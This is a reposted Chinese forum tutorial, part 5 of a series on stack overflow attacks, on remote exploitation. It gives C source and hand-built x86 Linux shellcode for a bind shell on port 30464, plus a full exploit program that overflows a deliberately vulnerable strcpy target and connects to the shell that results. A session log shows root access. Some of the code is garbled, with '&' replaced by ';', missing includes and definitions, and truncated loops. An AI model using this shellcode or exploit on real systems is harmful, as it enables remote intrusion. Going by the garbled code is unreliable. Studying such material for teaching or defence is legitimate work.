返回列表 发帖

[转帖]堆栈溢出系列讲座(5)

堆栈溢出系列讲座(5)(转)  远程堆栈溢出 我们用堆栈溢出攻击守护进程daemon时,原理和前面提到过的本地攻击是相同的。我们 必须提供给目标daemon一个溢出字符串,里面包含了shellcode。希望敌人在复制(或者 别的串处理操作)这个串的时候发生堆栈溢出,从而执行我们的shellcode。 普通的shellcode将启动一个子进程执行sh,自己退出。对于我们这些远程的攻击者来说 ,由于我们不在本地,这个sh我们并没有得到。 因此,对于远程使用者,我们传过去的shellcode就必须负担起打开一个socket,然后 listen我们的连接,给我们一个远程shell的责任。 如何开一个远程shell呢?我们先申请一个socketfd,使用30464(随便,多少都行)作为 这个socket连接的端口,bind他,然后在这个端口上等待连接listen。当有连接进来后, 开一个子shell,把连接的clientfd作为子shell的stdin,stdout,stderr。这样,我们 远程的使用者就有了一个远程shell(跟telnet一样啦)。 下面就是这个算法的C实现: opensocket.c ------------------------------------------------------------------------ 1#include 2#include 3#include 4int soc,cli,soc_len; 5struct sockaddr_in serv_addr; 6struct sockaddr_in cli_addr; 7int main() 8{ 9if(fork()==0) 10{ 11serv_addr.sin_family=AF_INET; 12serv_addr.sin_addr.s_addr=htonl(INADDR_ANY); 13serv_addr.sin_port=htons(30464); 14soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 15bind(soc,(struct sockaddr *);serv_addr, sizeof(serv_addr)); 16listen(soc,1); 17soc_len=sizeof(cli_addr); 18cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len); 19dup2(cli,0); 20dup2(cli,1); 21dup2(cli,2); 22execl("/bin/sh","sh",0); 23} 24} ------------------------------------------------------------------------ 第9行的fork()函数创建了一个子进程,对于父进程fork()的返回值是子进程的pid, 对于子进程,fork()的返回值是0.本程序中,父进程执行了一个fork就退出了,子进程 作为socket通信的执行者继续下面的操作。 10到23行都是子进程所作的事情。首先调用socket获得一个文件描述符soc,然后调用 bind()绑定30464端口,接下来开始监听listen().程序挂起在accept等待客户连接。 当有客户连接时,程序被唤醒,进行accept,然后把自己的标准输入,标准输出, 标准错误输出重定向到客户的文件描述符上,开一个子sh,这样,子shell继承了 这个进程的文件描述符,对于客户来说,就是得到了一个远程shell。 看懂了吗?嗯,对,这是一个比较简单的socket程序,很好理解的。好,我们使用 gdb来反编译上面的程序: [nkl10]$ gcc -o opensocket -static opensocket.c [nkl10]$ gdb opensocket GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB.Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disassemble fork Dump of assembler code for function fork: 0x804ca90 : movl $0x2,%eax 0x804ca95 : int$0x80 0x804ca97 : cmpl $0xfffff001,%eax 0x804ca9c :jae0x804cdc0 <__syscall_error> 0x804caa2 :ret 0x804caa3 :nop 0x804caa4 :nop 0x804caa5 :nop 0x804caa6 :nop 0x804caa7 :nop 0x804caa8 :nop 0x804caa9 :nop 0x804caaa :nop 0x804caab :nop 0x804caac :nop 0x804caad :nop 0x804caae :nop 0x804caaf :nop End of assembler dump. (gdb) disassemble socket Dump of assembler code for function socket: 0x804cda0 : movl %ebx,%edx 0x804cda2 : movl $0x66,%eax 0x804cda7 : movl $0x1,%ebx 0x804cdac :leal 0x4(%esp,1),%ecx 0x804cdb0 :int$0x80 0x804cdb2 :movl %edx,%ebx 0x804cdb4 :cmpl $0xffffff83,%eax 0x804cdb7 :jae0x804cdc0 <__syscall_error> 0x804cdbd :ret 0x804cdbe :nop 0x804cdbf :nop End of assembler dump. (gdb) disassemble bind Dump of assembler code for function bind: 0x804cd60 : movl %ebx,%edx 0x804cd62 : movl $0x66,%eax 0x804cd67 : movl $0x2,%ebx 0x804cd6c :leal 0x4(%esp,1),%ecx 0x804cd70 :int$0x80 0x804cd72 :movl %edx,%ebx 0x804cd74 :cmpl $0xffffff83,%eax 0x804cd77 :jae0x804cdc0 <__syscall_error> 0x804cd7d :ret 0x804cd7e :nop 0x804cd7f :nop End of assembler dump. (gdb) disassemble listen Dump of assembler code for function listen: 0x804cd80 : movl %ebx,%edx 0x804cd82 : movl $0x66,%eax 0x804cd87 : movl $0x4,%ebx 0x804cd8c :leal 0x4(%esp,1),%ecx 0x804cd90 :int$0x80 0x804cd92 :movl %edx,%ebx 0x804cd94 :cmpl $0xffffff83,%eax 0x804cd97 :jae0x804cdc0 <__syscall_error> 0x804cd9d :ret 0x804cd9e :nop 0x804cd9f :nop End of assembler dump. (gdb) disassemble accept Dump of assembler code for function __accept: 0x804cd40 <__accept>: movl %ebx,%edx 0x804cd42 <__accept+2>: movl $0x66,%eax 0x804cd47 <__accept+7>: movl $0x5,%ebx 0x804cd4c <__accept+12>:leal 0x4(%esp,1),%ecx 0x804cd50 <__accept+16>:int$0x80 0x804cd52 <__accept+18>:movl %edx,%ebx 0x804cd54 <__accept+20>:cmpl $0xffffff83,%eax 0x804cd57 <__accept+23>:jae0x804cdc0 <__syscall_error> 0x804cd5d <__accept+29>:ret 0x804cd5e <__accept+30>:nop 0x804cd5f <__accept+31>:nop End of assembler dump. (gdb) disassemble dup2 Dump of assembler code for function dup2: 0x804cbe0 : movl %ebx,%edx 0x804cbe2 : movl 0x8(%esp,1),%ecx 0x804cbe6 : movl 0x4(%esp,1),%ebx 0x804cbea :movl $0x3f,%eax 0x804cbef :int$0x80 0x804cbf1 :movl %edx,%ebx 0x804cbf3 :cmpl $0xfffff001,%eax 0x804cbf8 :jae0x804cdc0 <__syscall_error> 0x804cbfe :ret 0x804cbff :nop End of assembler dump. 现在可以写上面c代码的汇编语句了。 fork()的汇编代码 ------------------------------------------------------------------------ char code[]=  "\x31\xc0"/* xorl %eax,%eax*/  "\xb0\x02"/* movb $0x2,%al */  "\xcd\x80"; /* int $0x80 */ ------------------------------------------------------------------------ socket(2,1,6)的汇编代码 注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6 ------------------------------------------------------------------------  /* socket使用66号系统调用,1号子调用。 */  /* 他使用一段内存块来传递参数2,1,6。 */  /* %ecx 里面为这个内存块的地址指针.*/ char code[]=  "\x31\xc0"/* xorl %eax,%eax*/  "\x31\xdb"/* xorl %ebx,%ebx*/  "\x89\xf1"/* movl %esi,%ecx*/  "\xb0\x02"/* movb $0x2,%al */  "\x89\x06"/* movl %eax,(%esi)*/  /* 第一个参数*/  /* %esi 指向一段未使用的内存空间 */  "\xb0\x01"/* movb $0x1,%al */  "\x89\x46\x04"/* movl %eax,0x4(%esi) */  /* 第二个参数*/  "\xb0\x06"/* movb $0x6,%al */  "\x89\x46\x08"/* movl %eax,0x8(%esi) */  /* 第三个参数. */  "\xb0\x66"/* movb $0x66,%al*/  "\xb3\x01"/* movb $0x1,%bl */  "\xcd\x80"; /* int $0x80 */ bind(soc,(struct sockaddr *);serv_addr,0x10)的汇编代码 ------------------------------------------------------------------------  /* bind使用66号系统调用,2号子调用。 */  /* 他使用一段内存块来传递参数。*/  /* %ecx 里面为这个内存块的地址指针.*/ char code[]=  "\x89\xf1"/* movl %esi,%ecx*/  "\x89\x06"/* movl %eax,(%esi)*/  /* %eax 的内容为刚才socket调用的返回值, */  /* 就是soc文件描述符,作为第一个参数 */  "\xb0\x02"/* movb $0x2,%al */  "\x66\x89\x46\x0c"/* movw %ax,0xc(%esi)*/  /* serv_addr.sin_family=AF_NET(2)*/  /* 2 放在 0xc(%esi). */  "\xb0\x77"/* movb $0x77,%al*/  "\x66\x89\x46\x0e"/* movw %ax,0xe(%esi)*/  /* 端口号(0x7700=30464)放在 0xe(%esi)*/  "\x8d\x46\x0c"/* leal 0xc(%esi),%eax */  /* %eax = serv_addr 的地址 */  "\x89\x46\x04"/* movl %eax,0x4(%esi) */  /* 第二个参数. */  "\x31\xc0"/* xorl %eax,%eax*/  "\x89\x46\x10"/* movl %eax,0x10(%esi)*/  /* serv_addr.sin_addr.s_addr=0 */  "\xb0\x10"/* movb $0x10,%al*/  "\x89\x46\x08"/* movl %eax,0x8(%esi) */  /* 第三个参数. */  "\xb0\x66"/* movb $0x66,%al*/  "\xb3\x02"/* movb $0x2,%bl */  "\xcd\x80"; /* int $0x80 */ ------------------------------------------------------------------------ listen(soc,1)的汇编代码 ------------------------------------------------------------------------  /* listen使用66号系统调用,4号子调用。 */  /* 他使用一段内存块来传递参数。*/  /* %ecx 里面为这个内存块的地址指针.*/ char code[]=  "\x89\xf1"/* movl %esi,%ecx*/  "\x89\x06"/* movl %eax,(%esi)*/  /* %eax 的内容为刚才socket调用的返回值, */  /* 就是soc文件描述符,作为第一个参数 */  "\xb0\x01"/* movb $0x1,%al */  "\x89\x46\x04"/* movl %eax,0x4(%esi) */  /* 第二个参数. */  "\xb0\x66"/* movb $0x66,%al*/  "\xb3\x04"/* movb $0x4,%bl */  "\xcd\x80"; /* int $0x80 */ ------------------------------------------------------------------------ accept(soc,0,0)的汇编代码 ------------------------------------------------------------------------  /* accept使用66号系统调用,5号子调用。 */  /* 他使用一段内存块来传递参数。*/  /* %ecx 里面为这个内存块的地址指针.*/ char code[]=  "\x89\xf1"/* movl %esi,%ecx*/  "\x89\xf1"/* movl %eax,(%esi)*/  /* %eax 的内容为刚才socket调用的返回值, */  /* 就是soc文件描述符,作为第一个参数 */  "\x31\xc0"/* xorl %eax,%eax*/  "\x89\x46\x04"/* movl %eax,0x4(%esi) */  /* 第二个参数. */  "\x89\x46\x08"/* movl %eax,0x8(%esi) */  /* 第三个参数. */  "\xb0\x66"/* movb $0x66,%al*/  "\xb3\x05"/* movb $0x5,%bl */  "\xcd\x80"; /* int $0x80 */ ------------------------------------------------------------------------ dup2(cli,0)的汇编代码 ------------------------------------------------------------------------  /* 第一个参数为 %ebx, 第二个参数为 %ecx */ char code[]=  /* %eax 里面是刚才accept调用的返回值, */  /* 客户的文件描述符cli . */  "\x88\xc3"/* movb %al,%bl*/  "\xb0\x3f"/* movb $0x3f,%al*/  "\x31\xc9"/* xorl %ecx,%ecx*/  "\xcd\x80"; /* int $0x80 */ ------------------------------------------------------------------------ 现在该把这些所有的细节都串起来,形成一个新的shell的时候了。 new shellcode ------------------------------------------------------------------------ char shellcode[]= 00"\x31\xc0"/* xorl %eax,%eax*/ 02"\xb0\x02"/* movb $0x2,%al */ 04"\xcd\x80"/* int $0x80 */ 06"\x85\xc0"/* testl %eax,%eax */ 08"\x75\x43"/* jne 0x43*/  /* 执行fork(),当fork()!=0 的时候,表明是父进程,要终止*/  /* 因此,跳到0x43+a=0x4d,再跳到后面,执行 exit(0)*/ 0a"\xeb\x43"/* jmp 0x43*/  /* 当fork()==0 的时候,表明是子进程*/  /* 因此,跳到0x43+0c=0x4f,再跳到后面,执行 call -0xa5*/ 0c"\x5e"/* popl %esi */ 0d"\x31\xc0"/* xorl %eax,%eax*/ 0f"\x31\xdb"/* xorl %ebx,%ebx*/ 11"\x89\xf1"/* movl %esi,%ecx*/ 13"\xb0\x02"/* movb $0x2,%al */ 15"\x89\x06"/* movl %eax,(%esi)*/ 17"\xb0\x01"/* movb $0x1,%al */ 19"\x89\x46\x04"/* movl %eax,0x4(%esi) */ 1c"\xb0\x06"/* movb $0x6,%al */ 1e"\x89\x46\x08"/* movl %eax,0x8(%esi) */ 21"\xb0\x66"/* movb $0x66,%al*/ 23"\xb3\x01"/* movb $0x1,%bl */ 25"\xcd\x80"/* int $0x80 */  /* 执行socket(),eax里面为返回值soc文件描述符*/ 27"\x89\x06"/* movl %eax,(%esi)*/ 29"\xb0\x02"/* movb $0x2,%al */ 2d"\x66\x89\x46\x0c"/* movw %ax,0xc(%esi)*/ 2f"\xb0\x77"/* movb $0x77,%al*/ 31"\x66\x89\x46\x0e"/* movw %ax,0xe(%esi)*/ 35"\x8d\x46\x0c"/* leal 0xc(%esi),%eax */ 38"\x89\x46\x04"/* movl %eax,0x4(%esi) */ 3b"\x31\xc0"/* xorl %eax,%eax*/ 3d"\x89\x46\x10"/* movl %eax,0x10(%esi)*/ 40"\xb0\x10"/* movb $0x10,%al*/ 42"\x89\x46\x08"/* movl %eax,0x8(%esi) */ 45"\xb0\x66"/* movb $0x66,%al*/ 47"\xb3\x02"/* movb $0x2,%bl */ 49"\xcd\x80"/* int $0x80 */  /* 执行bind()*/ 4b"\xeb\x04"/* jmp 0x4 */  /* 越过下面的两个跳转*/ 4d"\xeb\x55"/* jmp 0x55*/  /* 跳到0x4f+0x55=0xa4*/ 4f"\xeb\x5b"/* jmp 0x5b*/  /* 跳到0x51+0x5b=0xac*/ 51"\xb0\x01"/* movb $0x1,%al */ 53"\x89\x46\x04"/* movl %eax,0x4(%esi) */ 56"\xb0\x66"/* movb $0x66,%al*/ 58"\xb3\x04"/* movb $0x4,%bl */ 5a"\xcd\x80"/* int $0x80 */  /* 执行listen()*/ 5c"\x31\xc0"/* xorl %eax,%eax*/ 5e"\x89\x46\x04"/* movl %eax,0x4(%esi) */ 61"\x89\x46\x08"/* movl %eax,0x8(%esi) */ 64"\xb0\x66"/* movb $0x66,%al*/ 66"\xb3\x05"/* movb $0x5,%bl */ 68"\xcd\x80"/* int $0x80 */  /* 执行accept(),eax里面为返回值cli文件描述符*/ 6a"\x88\xc3"/* movb %al,%bl*/ 6c"\xb0\x3f"/* movb $0x3f,%al*/ 6e"\x31\xc9"/* xorl %ecx,%ecx*/ 70"\xcd\x80"/* int $0x80 */ 72"\xb0\x3f"/* movb $0x3f,%al*/ 74"\xb1\x01"/* movb $0x1,%cl */ 76"\xcd\x80"/* int $0x80 */ 78"\xb0\x3f"/* movb $0x3f,%al*/ 7a"\xb1\x02"/* movb $0x2,%cl */ 7c"\xcd\x80"/* int $0x80 */  /* 执行三个dup2()*/ 7e"\xb8\x2f\x62\x69\x6e"/* movl $0x6e69622f,%eax */  /* %eax="/bin" */ 83"\x89\x06"/* movl %eax,(%esi)*/ 85"\xb8\x2f\x73\x68\x2f"/* movl $0x2f68732f,%eax */  /* %eax="/sh/" */ 8a"\x89\x46\x04"/* movl %eax,0x4(%esi) */ 8d"\x31\xc0"/* xorl %eax,%eax*/ 8f"\x88\x46\x07"/* movb %al,0x7(%esi)*/ 92"\x89\x76\x08"/* movl %esi,0x8(%esi) */ 95"\x89\x46\x0c"/* movl %eax,0xc(%esi) */ 98"\xb0\x0b"/* movb $0xb,%al */ 9a"\x89\xf3"/* movl %esi,%ebx*/ 9c"\x8d\x4e\x08"/* leal 0x8(%esi),%ecx */ 9f"\x8d\x56\x0c"/* leal 0xc(%esi),%edx */ a2"\xcd\x80"/* int $0x80 */  /* 执行execve()*/  /* 运行/bin/sh() */ a4"\x31\xc0"/* xorl %eax,%eax*/ a6"\xb0\x01"/* movb $0x1,%al */ a8"\x31\xdb"/* xorl %ebx,%ebx*/ aa"\xcd\x80"/* int $0x80 */  /* 执行exit()*/ ac"\xe8\x5b\xff\xff\xff"; /* call -0xa5*/  /* 执行0x0c处的指令*/ b1 ------------------------------------------------------------------------ 好,长长的shell终于写完了,下面就是攻击程序了。 exploit4.c ------------------------------------------------------------------------ char shellcode[]=  "\x31\xc0"/* xorl %eax,%eax*/  "\xb0\x02"/* movb $0x2,%al */  "\xcd\x80"/* int $0x80 */  "\x85\xc0"/* testl %eax,%eax */  "\x75\x43"/* jne 0x43*/  "\xeb\x43"/* jmp 0x43*/  "\x5e"/* popl %esi */  "\x31\xc0"/* xorl %eax,%eax*/  "\x31\xdb"/* xorl %ebx,%ebx*/  "\x89\xf1"/* movl %esi,%ecx*/  "\xb0\x02"/* movb $0x2,%al */  "\x89\x06"/* movl %eax,(%esi)*/  "\xb0\x01"/* movb $0x1,%al */  "\x89\x46\x04"/* movl %eax,0x4(%esi) */  "\x89\x46\x08"/* movl %eax,0x8(%esi) */  "\xb0\x66"/* movb $0x66,%al*/  "\xb3\x01"/* movb $0x1,%bl */  "\xcd\x80"/* int $0x80 */  "\x89\x06"/* movl %eax,(%esi)*/  "\xb0\x02"/* movb $0x2,%al */  "\x66\x89\x46\x0c"/* movw %ax,0xc(%esi)*/  "\xb0\x77"/* movb $0x77,%al*/  "\x66\x89\x46\x0e"/* movw %ax,0xe(%esi)*/  "\x8d\x46\x0c"/* leal 0xc(%esi),%eax */  "\x89\x46\x04"/* movl %eax,0x4(%esi) */  "\x31\xc0"/* xorl %eax,%eax*/  "\x89\x46\x10"/* movl %eax,0x10(%esi)*/  "\xb0\x10"/* movb $0x10,%al*/  "\x89\x46\x08"/* movl %eax,0x8(%esi) */  "\xb0\x66"/* movb $0x66,%al*/  "\xb3\x02"/* movb $0x2,%bl */  "\xcd\x80"/* int $0x80 */  "\xeb\x04"/* jmp 0x4 */  "\xeb\x55"/* jmp 0x55*/  "\xeb\x5b"/* jmp 0x5b*/  "\xb0\x01"/* movb $0x1,%al */  "\x89\x46\x04"/* movl %eax,0x4(%esi) */  "\xb0\x66"/* movb $0x66,%al*/  "\xb3\x04"/* movb $0x4,%bl */  "\xcd\x80"/* int $0x80 */  "\x31\xc0"/* xorl %eax,%eax*/  "\x89\x46\x04"/* movl %eax,0x4(%esi) */  "\x89\x46\x08"/* movl %eax,0x8(%esi) */  "\xb0\x66"/* movb $0x66,%al*/  "\xb3\x05"/* movb $0x5,%bl */  "\xcd\x80"/* int $0x80 */  "\x88\xc3"/* movb %al,%bl*/  "\xb0\x3f"/* movb $0x3f,%al*/  "\x31\xc9"/* xorl %ecx,%ecx*/  "\xcd\x80"/* int $0x80 */  "\xb0\x3f"/* movb $0x3f,%al*/  "\xb1\x01"/* movb $0x1,%cl */  "\xcd\x80"/* int $0x80 */  "\xb0\x3f"/* movb $0x3f,%al*/  "\xb1\x02"/* movb $0x2,%cl */  "\xcd\x80"/* int $0x80 */  "\xb8\x2f\x62\x69\x6e"/* movl $0x6e69622f,%eax */  "\x89\x06"/* movl %eax,(%esi)*/  "\xb8\x2f\x73\x68\x2f"/* movl $0x2f68732f,%eax */  "\x89\x46\x04"/* movl %eax,0x4(%esi) */  "\x31\xc0"/* xorl %eax,%eax*/  "\x88\x46\x07"/* movb %al,0x7(%esi)*/  "\x89\x76\x08"/* movl %esi,0x8(%esi) */  "\x89\x46\x0c"/* movl %eax,0xc(%esi) */  "\xb0\x0b"/* movb $0xb,%al */  "\x89\xf3"/* movl %esi,%ebx*/  "\x8d\x4e\x08"/* leal 0x8(%esi),%ecx */  "\x8d\x56\x0c"/* leal 0xc(%esi),%edx */  "\xcd\x80"/* int $0x80 */  "\x31\xc0"/* xorl %eax,%eax*/  "\xb0\x01"/* movb $0x1,%al */  "\x31\xdb"/* xorl %ebx,%ebx*/  "\xcd\x80"/* int $0x80 */  "\xe8\x5b\xff\xff\xff"; /* call -0xa5*/ unsigned long get_sp(void) {  __asm__("movl %esp,%eax"); } long getip(char *name) {  struct hostent *hp;  long ip;  if((ip=inet_addr(name))==-1)  {  if((hp=gethostbyname(name))==NULL)  {  fprintf(stderr,"Can';t resolve host.\n");  exit(0);  }  memcpy(;ip,(hp->h_addr),4);  }  return ip; } int exec_sh(int sockfd) {  char snd[4096],rcv[4096];  fd_set rset;  while(1)  {  FD_ZERO(;rset);  FD_SET(fileno(stdin),;rset);  FD_SET(sockfd,;rset);  select(255,;rset,NULL,NULL,NULL);  if(FD_ISSET(fileno(stdin),;rset))  {  memset(snd,0,sizeof(snd));  fgets(snd,sizeof(snd),stdin);  write(sockfd,snd,strlen(snd));  }  if(FD_ISSET(sockfd,;rset))  {  memset(rcv,0,sizeof(rcv));  if(read(sockfd,rcv,sizeof(rcv))<=0)  exit(0);  fputs(rcv,stdout);  }  } } int connect_sh(long ip) {  int sockfd,i;  struct sockaddr_in sin;  printf("Connect to the shell\n");  fflush(stdout);  memset(;sin,0,sizeof(sin));  sin.sin_family=AF_INET;  sin.sin_port=htons(30464);  sin.sin_addr.s_addr=ip;  if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)  {  printf("Can';t create socket\n");  exit(0);  }  if(connect(sockfd,(struct sockaddr *);sin,sizeof(sin))<0)  {  printf("Can';t connect to the shell\n");  exit(0);  }  return sockfd; } void main(int argc,char **argv) {  char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;  long addr;  unsigned long sp;  int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;  int i;  int sockfd;  if(argc>1)  offset=atoi(argv[1]);  sp=get_sp();  addr=sp-offset;  for(i=0;i>8;  buff[i+ALIGN+2]=(addr;0x00ff0000)>>16;  buff[i+ALIGN+3]=(addr;0xff000000)>>24;  }  for(i=0;i=NOP;  ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;  for(i=0;i;  buff[bsize-1]=';\0';;  printf("Jump to 0x%08x\n",addr);  if(fork()==0)  {  execl("./vulnerable","vulnerable",buff,0);  exit(0);  }  sleep(5);  sockfd=connect_sh(getip("127.0.0.1"));  exec_sh(sockfd); } ------------------------------------------------------------------------ 算法很简单,先生成溢出串,格式为:NNNNSSSSAAAA。然后起一个子进程执行目标程序 来模拟网络daemon,参数为我们的字符串。好,堆栈溢出发生了。我们的shellcode被 执行,那么在30464端口就会有server在listen了。 父进程睡五秒,等待这些完成。就连接本机的端口30464。连接建立后,从socket读取 收到的字符串,打印到标准输出,从标准输入读取字符串,传到socket的server端。 下面来试一试: 我们先写一个漏洞程序: vulnerable.C ------------------------------------------------------------------------ int main(int argc,char ** argv) {  char buffer[1000];  printf("I am here%x,buffer%d\n",buffer,strlen(argv[1]));  strcpy(buffer,argv[1]);  return 0; } ------------------------------------------------------------------------ [nkl10]$ ./exploit Jump to 0xbffff63c I am herebffff280,buffer1224 Connect to the shell Can';t connect to the shell 看到了吗?我在vulnerable.C里面加入了一个printf,打印buffer的首地址,这样就可以 不用猜了。0xbffff63c-0xbffff280 = 956,好,就用956来进行偏移。 [nkl10]$./exploit 956 Jump to 0xbffff280 I am herebffff280,buffer1224 connect to shell whoami root id uid=0(root)...... uname -a Linux localhost.localdomain 2.2.5-15。。。 嘿嘿,大功告成了。

返回列表 回复 发帖